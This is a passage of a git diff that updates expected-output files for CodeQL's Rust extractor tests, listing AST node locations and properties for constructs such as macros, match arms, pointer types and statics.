a/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr.expected +++ b/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr.expected @@ -1 +1 @@ -| gen_macro_expr.rs:5:5:5:11 | MacroExpr | hasMacroCall: | yes | +| gen_macro_expr.rs:7:13:7:25 | MacroExpr | hasMacroCall: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr_getMacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr_getMacroCall.expected index c1815adac09..493f2f88291 100644 --- a/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr_getMacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr_getMacroCall.expected @@ -1 +1 @@ -| gen_macro_expr.rs:5:5:5:11 | MacroExpr | gen_macro_expr.rs:5:5:5:11 | todo!... | +| gen_macro_expr.rs:7:13:7:25 | MacroExpr | gen_macro_expr.rs:7:13:7:25 | vec!... | diff --git a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected index 1e909c53379..b56789484ff 100644 --- a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected +++ b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected @@ -1 +1 @@ -| gen_macro_pat.rs:8:9:8:19 | MacroPat | hasMacroCall: | yes | +| gen_macro_pat.rs:13:9:13:19 | MacroPat | hasMacroCall: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected index 5cdbd40580e..faa6c1d7e6d 100644 --- a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected @@ -1 +1 @@ -| gen_macro_pat.rs:8:9:8:19 | MacroPat | gen_macro_pat.rs:8:9:8:19 | my_macro!... | +| gen_macro_pat.rs:13:9:13:19 | MacroPat | gen_macro_pat.rs:13:9:13:19 | my_macro!... | diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.expected b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.expected index e69de29bb2d..db582f99f87 100644 --- a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.expected +++ b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.expected @@ -0,0 +1 @@ +| gen_macro_rules.rs:4:5:9:5 | MacroRules | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasName: | yes | hasTokenTree: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getName.expected b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getName.expected index e69de29bb2d..08044386ded 100644 --- a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getName.expected +++ b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getName.expected @@ -0,0 +1 @@ +| gen_macro_rules.rs:4:5:9:5 | MacroRules | gen_macro_rules.rs:5:18:5:25 | my_macro | diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getTokenTree.expected b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getTokenTree.expected index e69de29bb2d..9aafcc37389 100644 --- a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getTokenTree.expected +++ b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getTokenTree.expected @@ -0,0 +1 @@ +| gen_macro_rules.rs:4:5:9:5 | MacroRules | gen_macro_rules.rs:5:27:9:5 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected index 72e1e6d6fda..2f91b7f8d00 100644 --- a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected @@ -1 +1 @@ -| gen_macro_type_repr.rs:7:14:7:26 | MacroTypeRepr | hasMacroCall: | yes | +| gen_macro_type_repr.rs:10:14:10:26 | MacroTypeRepr | hasMacroCall: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected index af3a4e76d1f..896e3e199b2 100644 --- a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected @@ -1 +1 @@ -| gen_macro_type_repr.rs:7:14:7:26 | MacroTypeRepr | gen_macro_type_repr.rs:7:14:7:26 | macro_type!... | +| gen_macro_type_repr.rs:10:14:10:26 | MacroTypeRepr | gen_macro_type_repr.rs:10:14:10:26 | macro_type!... | diff --git a/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList.expected b/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList.expected index e69de29bb2d..8a796ef9a55 100644 --- a/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList.expected +++ b/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList.expected @@ -0,0 +1 @@ +| gen_match_arm_list.rs:7:13:11:5 | MatchArmList | getNumberOfArms: | 3 | getNumberOfAttrs: | 0 | diff --git a/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList_getArm.expected b/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList_getArm.expected index e69de29bb2d..5a53f429e98 100644 --- a/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList_getArm.expected +++ b/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList_getArm.expected @@ -0,0 +1,3 @@ +| gen_match_arm_list.rs:7:13:11:5 | MatchArmList | 0 | gen_match_arm_list.rs:8:9:8:19 | 1 => "one" | +| gen_match_arm_list.rs:7:13:11:5 | MatchArmList | 1 | gen_match_arm_list.rs:9:9:9:19 | 2 => "two" | +| gen_match_arm_list.rs:7:13:11:5 | MatchArmList | 2 | gen_match_arm_list.rs:10:9:10:21 | _ => "other" | diff --git a/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard.expected b/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard.expected index e69de29bb2d..2005c2a1c3d 100644 --- a/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard.expected +++ b/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard.expected @@ -0,0 +1 @@ +| gen_match_guard.rs:8:11:8:18 | MatchGuard | hasCondition: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard_getCondition.expected b/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard_getCondition.expected index e69de29bb2d..e6d76089e71 100644 --- a/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard_getCondition.expected +++ b/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard_getCondition.expected @@ -0,0 +1 @@ +| gen_match_guard.rs:8:11:8:18 | MatchGuard | gen_match_guard.rs:8:14:8:18 | ... > ... | diff --git a/rust/ql/test/extractor-tests/generated/Meta/Meta.expected b/rust/ql/test/extractor-tests/generated/Meta/Meta.expected index e69de29bb2d..0aa36a59d61 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/Meta.expected +++ b/rust/ql/test/extractor-tests/generated/Meta/Meta.expected @@ -0,0 +1,2 @@ +| gen_meta.rs:7:7:7:46 | Meta | hasExpr: | yes | isUnsafe: | yes | hasPath: | yes | hasTokenTree: | no | +| gen_meta.rs:9:7:9:72 | Meta | hasExpr: | no | isUnsafe: | no | hasPath: | yes | hasTokenTree: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Meta/Meta_getExpr.expected b/rust/ql/test/extractor-tests/generated/Meta/Meta_getExpr.expected index e69de29bb2d..b4c0ec93734 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/Meta_getExpr.expected +++ b/rust/ql/test/extractor-tests/generated/Meta/Meta_getExpr.expected @@ -0,0 +1 @@ +| gen_meta.rs:7:7:7:46 | Meta | gen_meta.rs:7:27:7:45 | "reason_for_bypass" | diff --git a/rust/ql/test/extractor-tests/generated/Meta/Meta_getPath.expected b/rust/ql/test/extractor-tests/generated/Meta/Meta_getPath.expected index e69de29bb2d..ad4a23a5e2a 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/Meta_getPath.expected +++ b/rust/ql/test/extractor-tests/generated/Meta/Meta_getPath.expected @@ -0,0 +1,2 @@ +| gen_meta.rs:7:7:7:46 | Meta | gen_meta.rs:7:14:7:23 | ...::name | +| gen_meta.rs:9:7:9:72 | Meta | gen_meta.rs:9:7:9:16 | deprecated | diff --git a/rust/ql/test/extractor-tests/generated/Meta/Meta_getTokenTree.expected b/rust/ql/test/extractor-tests/generated/Meta/Meta_getTokenTree.expected index e69de29bb2d..ffeca33dd3a 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/Meta_getTokenTree.expected +++ b/rust/ql/test/extractor-tests/generated/Meta/Meta_getTokenTree.expected @@ -0,0 +1 @@ +| gen_meta.rs:9:7:9:72 | Meta | gen_meta.rs:9:17:9:72 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/Name/Name.expected b/rust/ql/test/extractor-tests/generated/Name/Name.expected index 37d1c2e1dd4..28a23a6d392 100644 --- a/rust/ql/test/extractor-tests/generated/Name/Name.expected +++ b/rust/ql/test/extractor-tests/generated/Name/Name.expected @@ -1,2 +1,3 @@ | gen_name.rs:3:4:3:12 | test_name | hasText: | yes | +| gen_name.rs:7:9:7:11 | foo | hasText: | yes | | lib.rs:1:5:1:12 | gen_name | hasText: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Name/Name_getText.expected b/rust/ql/test/extractor-tests/generated/Name/Name_getText.expected index 9cee64fd236..3098a78003b 100644 --- a/rust/ql/test/extractor-tests/generated/Name/Name_getText.expected +++ b/rust/ql/test/extractor-tests/generated/Name/Name_getText.expected @@ -1,2 +1,3 @@ | gen_name.rs:3:4:3:12 | test_name | test_name | +| gen_name.rs:7:9:7:11 | foo | foo | | lib.rs:1:5:1:12 | gen_name | gen_name | diff --git a/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected b/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected index 2c0b9dffa4d..c53970b943b 100644 --- a/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected +++ b/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected @@ -1,4 +1 @@ -| gen_name_ref.rs:5:5:5:8 | todo | hasText: | yes | -| gen_name_ref.rs:5:5:5:11 | $crate | hasText: | yes | -| gen_name_ref.rs:5:5:5:11 | panic | hasText: | yes | -| gen_name_ref.rs:5:5:5:11 | panicking | hasText: | yes | +| gen_name_ref.rs:7:5:7:7 | foo | hasText: | yes | diff --git a/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected b/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected index 17f24a9cefe..651b70330b3 100644 --- a/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected +++ b/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected @@ -1,4 +1 @@ -| gen_name_ref.rs:5:5:5:8 | todo | todo | -| gen_name_ref.rs:5:5:5:11 | $crate | $crate | -| gen_name_ref.rs:5:5:5:11 | panic | panic | -| gen_name_ref.rs:5:5:5:11 | panicking | panicking | +| gen_name_ref.rs:7:5:7:7 | foo | foo | diff --git a/rust/ql/test/extractor-tests/generated/NeverTypeRepr/NeverTypeRepr.expected b/rust/ql/test/extractor-tests/generated/NeverTypeRepr/NeverTypeRepr.expected index e69de29bb2d..e3e1a8d3900 100644 --- a/rust/ql/test/extractor-tests/generated/NeverTypeRepr/NeverTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/NeverTypeRepr/NeverTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_never_type_repr.rs:7:17:7:17 | ! | +| gen_never_type_repr.rs:7:21:7:28 | ! | diff --git a/rust/ql/test/extractor-tests/generated/ParamList/ParamList.expected b/rust/ql/test/extractor-tests/generated/ParamList/ParamList.expected index e966a16e13c..bb999506a0c 100644 --- a/rust/ql/test/extractor-tests/generated/ParamList/ParamList.expected +++ b/rust/ql/test/extractor-tests/generated/ParamList/ParamList.expected @@ -1 +1,2 @@ | gen_param_list.rs:3:19:3:20 | ParamList | getNumberOfParams: | 0 | hasSelfParam: | no | +| gen_param_list.rs:7:11:7:26 | ParamList | getNumberOfParams: | 2 | hasSelfParam: | no | diff --git a/rust/ql/test/extractor-tests/generated/ParamList/ParamList_getParam.expected b/rust/ql/test/extractor-tests/generated/ParamList/ParamList_getParam.expected index e69de29bb2d..9006caf6916 100644 --- a/rust/ql/test/extractor-tests/generated/ParamList/ParamList_getParam.expected +++ b/rust/ql/test/extractor-tests/generated/ParamList/ParamList_getParam.expected @@ -0,0 +1,2 @@ +| gen_param_list.rs:7:11:7:26 | ParamList | 0 | gen_param_list.rs:7:12:7:17 | ...: i32 | +| gen_param_list.rs:7:11:7:26 | ParamList | 1 | gen_param_list.rs:7:20:7:25 | ...: i32 | diff --git a/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr.expected b/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr.expected index e69de29bb2d..efe22fdb625 100644 --- a/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr.expected +++ b/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr.expected @@ -0,0 +1 @@ +| gen_paren_expr.rs:7:5:7:11 | (...) | getNumberOfAttrs: | 0 | hasExpr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr_getExpr.expected b/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr_getExpr.expected index e69de29bb2d..c20c0ec66fa 100644 --- a/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr_getExpr.expected +++ b/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr_getExpr.expected @@ -0,0 +1 @@ +| gen_paren_expr.rs:7:5:7:11 | (...) | gen_paren_expr.rs:7:6:7:10 | ... + ... | diff --git a/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat.expected b/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat.expected index e69de29bb2d..7b9b66a886d 100644 --- a/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat.expected +++ b/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat.expected @@ -0,0 +1 @@ +| gen_paren_pat.rs:7:9:7:11 | (...) | hasPat: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat_getPat.expected b/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat_getPat.expected index e69de29bb2d..832d823866f 100644 --- a/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat_getPat.expected +++ b/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat_getPat.expected @@ -0,0 +1 @@ +| gen_paren_pat.rs:7:9:7:11 | (...) | gen_paren_pat.rs:7:10:7:10 | x | diff --git a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.expected index e69de29bb2d..fd5d8310d17 100644 --- a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.expected @@ -0,0 +1 @@ +| gen_paren_type_repr.rs:7:12:7:16 | (i32) | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.expected index e69de29bb2d..b4167e4201a 100644 --- a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_paren_type_repr.rs:7:12:7:16 | (i32) | gen_paren_type_repr.rs:7:13:7:15 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.expected b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.expected new file mode 100644 index 00000000000..317d43de72d --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.expected @@ -0,0 +1 @@ +| gen_parenthesized_arg_list.rs:9:14:9:26 | ParenthesizedArgList | getNumberOfTypeArgs: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.expected b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.expected new file mode 100644 index 00000000000..8ae7aa526d3 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.expected @@ -0,0 +1,2 @@ +| gen_parenthesized_arg_list.rs:9:14:9:26 | ParenthesizedArgList | 0 | gen_parenthesized_arg_list.rs:9:15:9:17 | TypeArg | +| gen_parenthesized_arg_list.rs:9:14:9:26 | ParenthesizedArgList | 1 | gen_parenthesized_arg_list.rs:9:20:9:25 | TypeArg | diff --git a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr.expected b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr.expected index e69de29bb2d..b975dde09ff 100644 --- a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_ptr_type_repr.rs:7:12:7:21 | PtrTypeRepr | isConst: | yes | isMut: | no | hasTypeRepr: | yes | +| gen_ptr_type_repr.rs:8:12:8:19 | PtrTypeRepr | isConst: | no | isMut: | yes | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr_getTypeRepr.expected index e69de29bb2d..8006e33f1d6 100644 --- a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr_getTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_ptr_type_repr.rs:7:12:7:21 | PtrTypeRepr | gen_ptr_type_repr.rs:7:19:7:21 | i32 | +| gen_ptr_type_repr.rs:8:12:8:19 | PtrTypeRepr | gen_ptr_type_repr.rs:8:17:8:19 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr.expected b/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr.expected index e69de29bb2d..da74246c0db 100644 --- a/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_ref_type_repr.rs:7:12:7:15 | RefTypeRepr | isMut: | no | hasLifetime: | no | hasTypeRepr: | yes | +| gen_ref_type_repr.rs:8:12:8:19 | RefTypeRepr | isMut: | yes | hasLifetime: | no | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr_getTypeRepr.expected index e69de29bb2d..59518bf3743 100644 --- a/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr_getTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_ref_type_repr.rs:7:12:7:15 | RefTypeRepr | gen_ref_type_repr.rs:7:13:7:15 | i32 | +| gen_ref_type_repr.rs:8:12:8:19 | RefTypeRepr | gen_ref_type_repr.rs:8:17:8:19 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/Rename/Rename.expected b/rust/ql/test/extractor-tests/generated/Rename/Rename.expected index e69de29bb2d..3568d798d28 100644 --- a/rust/ql/test/extractor-tests/generated/Rename/Rename.expected +++ b/rust/ql/test/extractor-tests/generated/Rename/Rename.expected @@ -0,0 +1 @@ +| gen_rename.rs:7:13:7:18 | Rename | hasName: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Rename/Rename_getName.expected b/rust/ql/test/extractor-tests/generated/Rename/Rename_getName.expected index e69de29bb2d..323982f910d 100644 --- a/rust/ql/test/extractor-tests/generated/Rename/Rename_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Rename/Rename_getName.expected @@ -0,0 +1 @@ +| gen_rename.rs:7:13:7:18 | Rename | gen_rename.rs:7:16:7:18 | bar | diff --git a/rust/ql/test/extractor-tests/generated/RestPat/RestPat.expected b/rust/ql/test/extractor-tests/generated/RestPat/RestPat.expected index e69de29bb2d..c5d19cda38d 100644 --- a/rust/ql/test/extractor-tests/generated/RestPat/RestPat.expected +++ b/rust/ql/test/extractor-tests/generated/RestPat/RestPat.expected @@ -0,0 +1 @@ +| gen_rest_pat.rs:7:13:7:14 | .. | getNumberOfAttrs: | 0 | diff --git a/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr.expected b/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr.expected index fb87db7cabe..18726b694bf 100644 --- a/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr.expected @@ -1,2 +1,2 @@ | gen_ret_type_repr.rs:3:25:3:29 | RetTypeRepr | hasTypeRepr: | yes | - +| gen_ret_type_repr.rs:7:14:7:19 | RetTypeRepr | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr_getTypeRepr.expected index 967da637efb..c150253243e 100644 --- a/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr_getTypeRepr.expected @@ -1 +1,2 @@ | gen_ret_type_repr.rs:3:25:3:29 | RetTypeRepr | gen_ret_type_repr.rs:3:28:3:29 | TupleTypeRepr | +| gen_ret_type_repr.rs:7:14:7:19 | RetTypeRepr | gen_ret_type_repr.rs:7:17:7:19 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/ReturnTypeSyntax.expected b/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/ReturnTypeSyntax.expected index e69de29bb2d..125f3345c92 100644 --- a/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/ReturnTypeSyntax.expected +++ b/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/ReturnTypeSyntax.expected @@ -0,0 +1,2 @@ +| gen_return_type_syntax.rs:7:45:7:48 | ReturnTypeSyntax | +| gen_return_type_syntax.rs:13:25:13:28 | ReturnTypeSyntax | diff --git a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr.expected b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr.expected index e69de29bb2d..dfcfb754437 100644 --- a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr.expected @@ -0,0 +1 @@ +| gen_slice_type_repr.rs:7:13:7:17 | SliceTypeRepr | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr_getTypeRepr.expected index e69de29bb2d..7c0b5e94e2f 100644 --- a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_slice_type_repr.rs:7:13:7:17 | SliceTypeRepr | gen_slice_type_repr.rs:7:14:7:16 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile.expected b/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile.expected index 9aac17e8e84..e354381a921 100644 --- a/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile.expected +++ b/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile.expected @@ -1,2 +1,2 @@ -| gen_source_file.rs:1:1:6:2 | SourceFile | getNumberOfAttrs: | 0 | getNumberOfItems: | 1 | +| gen_source_file.rs:1:1:9:2 | SourceFile | getNumberOfAttrs: | 0 | getNumberOfItems: | 1 | | lib.rs:1:1:1:20 | SourceFile | getNumberOfAttrs: | 0 | getNumberOfItems: | 1 | diff --git a/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile_getItem.expected b/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile_getItem.expected index 981f445201e..236a2a0755b 100644 --- a/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile_getItem.expected +++ b/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile_getItem.expected @@ -1,2 +1,2 @@ -| gen_source_file.rs:1:1:6:2 | SourceFile | 0 | gen_source_file.rs:3:1:6:1 | fn test_source_file | +| gen_source_file.rs:1:1:9:2 | SourceFile | 0 | gen_source_file.rs:3:1:9:1 | fn test_source_file | | lib.rs:1:1:1:20 | SourceFile | 0 | lib.rs:1:1:1:20 | mod gen_source_file | diff --git a/rust/ql/test/extractor-tests/generated/Static/Static.expected b/rust/ql/test/extractor-tests/generated/Static/Static.expected index e69de29bb2d..076578efe68 100644 --- a/rust/ql/test/extractor-tests/generated/Static/Static.expected +++ b/rust/ql/test/extractor-tests/generated/Static/Static.expected @@ -0,0 +1 @@ +| gen_static.rs:4:5:7:23 | Static | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasBody: | yes | isMut: | no | isStatic: | yes | isUnsafe: | no | hasName: | yes | hasTypeRepr: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/Static/Static_getBody.expected b/rust/ql/test/extractor-tests/generated/Static/Static_getBody.expected index e69de29bb2d..1c7305c4991 100644 --- a/rust/ql/test/extractor-tests/generated/Static/Static_getBody.expected +++ b/rust/ql/test/extractor-tests/generated/Static/Static_getBody.expected @@ -0,0 +1 @@ +| gen_static.rs:4:5:7:23 | Static | gen_static.rs:7:21:7:22 | 42 | diff --git a/rust/ql/test/extractor-tests/generated/Static/Static_getName.expected b/rust/ql/test/extractor-tests/generated/Static/Static_getName.expected index e69de29bb2d..96c219c64db 100644 --- a/rust/ql/test/extractor-tests/generated/Static/Static_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Static/Static_getName.expected @@ -0,0 +1 @@ +| gen_static.rs:4:5:7:23 | Static | gen_static.rs:7:12:7:12 | X | diff --git a/rust/ql/test/extractor-tests/generated/Static/Static_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/Static/Static_getTypeRepr.expected index e69de29bb2d..556c5467484 100644 --- a/rust/ql/test/extractor-tests/generated/Static/Static_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/Static/Static_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_static.rs:4:5:7:23 | Static | gen_static.rs:7:15:7:17 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/StmtList/StmtList.expected b/rust/ql/test/extractor-tests/generated/StmtList/StmtList.expected index 201b91c921f..46bdea2a71c 100644 --- a/rust/ql/test/extractor-tests/generated/StmtList/StmtList.expected +++ b/rust/ql/test/extractor-tests/generated/StmtList/StmtList.expected @@ -1 +1,2 @@ -| gen_stmt_list.rs:3:27:6:1 | StmtList | getNumberOfAttrs: | 0 | getNumberOfStatements: | 0 | hasTailExpr: | yes | +| gen_stmt_list.rs:3:27:12:1 | StmtList | getNumberOfAttrs: | 0 | getNumberOfStatements: | 0 | hasTailExpr: | yes | +| gen_stmt_list.rs:7:5:10:5 | StmtList | getNumberOfAttrs: | 0 | getNumberOfStatements: | 2 | hasTailExpr: | no | diff --git a/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getStatement.expected b/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getStatement.expected index e69de29bb2d..46bda795699 100644 --- a/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getStatement.expected +++ b/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getStatement.expected @@ -0,0 +1,2 @@ +| gen_stmt_list.rs:7:5:10:5 | StmtList | 0 | gen_stmt_list.rs:8:9:8:18 | let ... = 1 | +| gen_stmt_list.rs:7:5:10:5 | StmtList | 1 | gen_stmt_list.rs:9:9:9:18 | let ... = 2 | diff --git a/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getTailExpr.expected b/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getTailExpr.expected index 007a65f8439..998a40aea79 100644 --- a/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getTailExpr.expected +++ 